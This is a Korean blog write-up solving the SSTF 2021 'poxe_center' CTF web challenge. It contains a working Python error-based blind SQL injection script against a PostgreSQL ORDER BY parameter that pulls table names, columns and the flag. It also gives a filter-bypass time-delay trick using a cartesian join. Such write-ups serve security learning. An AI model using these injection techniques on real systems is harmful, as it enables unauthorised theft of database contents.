CTF/Hacker's Playground 2021(SSTF)

[Study] Hacker's Playground 2021(SSTF) poxe_center Writeup

Vardy 2021. 8. 23. 21:40

이번 SSTF Hacker's Playground 2021 는 웹 문제 가뭄이었다.. 다른 WEB 태그가 달린 문제는 사실상 Pwn이었다. 

이 문제는 유일하게 WEB 스러운(?) 문제였는데 문제가 늦게 나와서 업무시간과 겹치는 바람에 대회 기간내에는 집중해서 풀지 못했었다.

그래서, 대회는 종료되었지만 이 문제를 풀어보았다.

전설의 포켓몬을 잡으라는 문제인듯 하다. 주어진 페이지에 접속해보자.

첫 페이지

http://poxecenter.sstf.site:31888/demo/getGochaList?sortName=full_name&sortFlag=desc

위와 같은 URL이 호출되면서 Gatcha list 라는 페이지가 안내된다. 

파라미터 이름과 내용을 보니 ~~~ ORDER BY {sortName} {sortFlag} 형식의 sql 구문 같다는 추측이 가능했다.

실제로, sortName에 11을 입력하면 페이지가 정상 출력되는데 반해,

12를 입력하면 에러 페이지가 나타난다.

구문이나 주석 등 테스트로 미루어봤을 때 Mysql이라고 생각했는데, 급한 마음에 Mysql이라고 가정해버린것이 패착이었던 것 같다.

(if 구문, sleep() 등이 안되었을 때 다른 종류일것이라고는 생각하지 못했고 필터링이 걸려있는 줄 알았다..)

sqlmap을 활용하여 해당 문제 환경이 Mysql이 아닌  PostgreSQL 임을 확인 할 수 있었다.

the back-end. DBMS is PostgreSQL ..

sqlmap을 활용해서 문제 해결을 이어나가볼까 했지만, 잘 되지 않아 직접 공격 쿼리를 작성해서 공격을 시도해보기로 했다.

공격 방식은 Error based 로,

select 1 from pg_user where ~~

형식의 구문을 활용하기로 했다.

1. select 1 from pg_user // Error!
2. select 1 from pg_user limit 1 // Non-Error!

해당 페이지의 두 구문을 테스트해봤을때 첫 번째 구문은 결과값이 여러개이기 때문에 에러가 발생하고, 두번째 구문은 에러가 나지 않는다.

따라서 where 절에 원하는 조건문을 기입하고 유효 할 시에 첫 번째 구문이 실행되기 때문에 에러가 발생할 것이다.

즉, "where 조건 만족 시 에러가 발생함" 을 활용한 Error based SQL Injection 공격을 시도해보자.

 

문제 풀이 방식은 

https://vardy.tistory.com/112

 

[Clear] HSCTF 8 web/big-blind Writeup

대회에서 되게 오랜만이었던 Sql-injection 문제였다. 문제 이름괴 주어진 페이지에 로그인 창이 있는 것으로 보아 blind sql injection 문제임을 유추 할 수 있다. 우선 DB의 종류를 파악해보자. 위 자료

vardy.tistory.com

와 비슷했다.

 

다만, 환경이 PostgreSQL 이었으므로 활용되는 구문이 조금 달라진 정도였다.

문제를 해결한 expoloit code는 아래와 같다.

import requests, time, urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

string = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%()*+,-./:;<=>?@[\]^_`{|}~'
#db_name =''
table_list=[]
column_list=[]
data_list=[]
for k in range(300) : ## edit plz
	table_name=''
	column_name=''
	data=''
	for i in range(50) : 
		for j in string :
			url = "http://poxecenter.sstf.site:31888/demo/getGochaList?sortName="
			#db
			##db_name = pokedb
			#query = "(select 1 from pg_user where substr(current_database(),"+str(i+1)+",1)='"+j+"')&sortFlag="

			#tables
			#table_name = poke_info ?
			#query = "(select 1 from pg_user where substr((select table_name from information_schema.tables limit 1 offset "+str(k)+"),"+str(i+1)+",1)='"+j+"')&sortFlag="

			#column_name = name -> X / first_attribute -> X / second_attribute ?
			#query = "(select 1 from pg_user where substr((select column_name from information_schema.columns where table_name='poke_info' limit 1 offset "+str(k)+"),"+str(i+1)+",1)='"+j+"')&sortFlag="

			#data
			#query = "(select 1 from pg_user where substr((select name from poke_info limit 1 offset "+str(k)+"),"+str(i+1)+",1)='"+j+"')&sortFlag="
			query = "(select 1 from pg_user where substr((select distinct second_attribute from poke_info limit 1 offset "+str(k)+"),"+str(i+1)+",1)='"+j+"')&sortFlag=" 
			url += query
			#print(url)

			try:
				response = requests.get(url, verify=False, timeout=3)
				if "500" in str(response) :
					#print("hit!")
					#print(url)
					
					#db
					#db_name +=j
					#print("* db name : "+db_name)

					#table
					#table_name+=j

					#column
					#column_name+=j

					#data
					data+=j

					break

				else :
					#print(response)
					pass

			except requests.Timeout: 
				print("time_error!")

				break
	#table_list.append(table_name)
	#print(table_list)

	#column_list.append(column_name)
	#print(column_list)

	#data_list.append(data)
	#print(data)

주석의 내용을 고쳐가면서

DB 정보 -> table 정보 -> column 정보 -> 데이터(FLAG)

순서로 정보를 획득해나가면 된다.

postgreSQL 환경이었기 때문에 특수한 구문을 활용해야 하는 경우가 있었다.

user -> pg_user 
database() -> current_database()
sleep() -> pg_sleep()
length() -> char_length() 등등..

postgreSQL 이 익숙하지는 않았지만 어렵게 얻을 수 있는 정보는 아니었기 때문에 구글링을 활용하면서 문제를 해결해 나갔다.

 

문제 해결 과정을 살펴보면

db 이름 획득
table 목록 획득(문제 설명에 전설의 포켓몬에 대한 언급이 있었으므로 poke_info 활용)
column 목록 획득
name에 플래그가 있을것이라 생각했지만, 아니었고..
second_attribute 에 플래그 정보가 있었다 ! (distinct 구문을 활용하여 중복 제거)

FLAG = SCTF{G0tcH4_Gh0sT_c4t_iS_L3G3ND4Ry_P0k3}

 

----------------------------------------------------------------------------------------------------------------------

++ Mysql인줄 알고 삽질하다가 얻은 정보인데 추후에 쓰일 수도 있을 것 같아서 공유한다.

time based 공격이 필수적일때 sleep(), benchmark() 가 필터링되어있다면

(select count(*) from information_schema.columns A, information_schema.columns B)

구문을 통해 시간 지연 가능

 

https://jacksimon86.tistory.com/47?category=953645 

 

sfw3 (time based SQL injection)

sfw3번입니다. 이 문제를 처음 풀 때는 sleep, benchmark 함수가 필터링으로 막혀있길래 저는 당연히 에러 기반 sql injection 문제로 알고 삽질을 했습니다. 하지만 아무리 에러 기반으로 풀어도 별다른

jacksimon86.tistory.com

 

반응형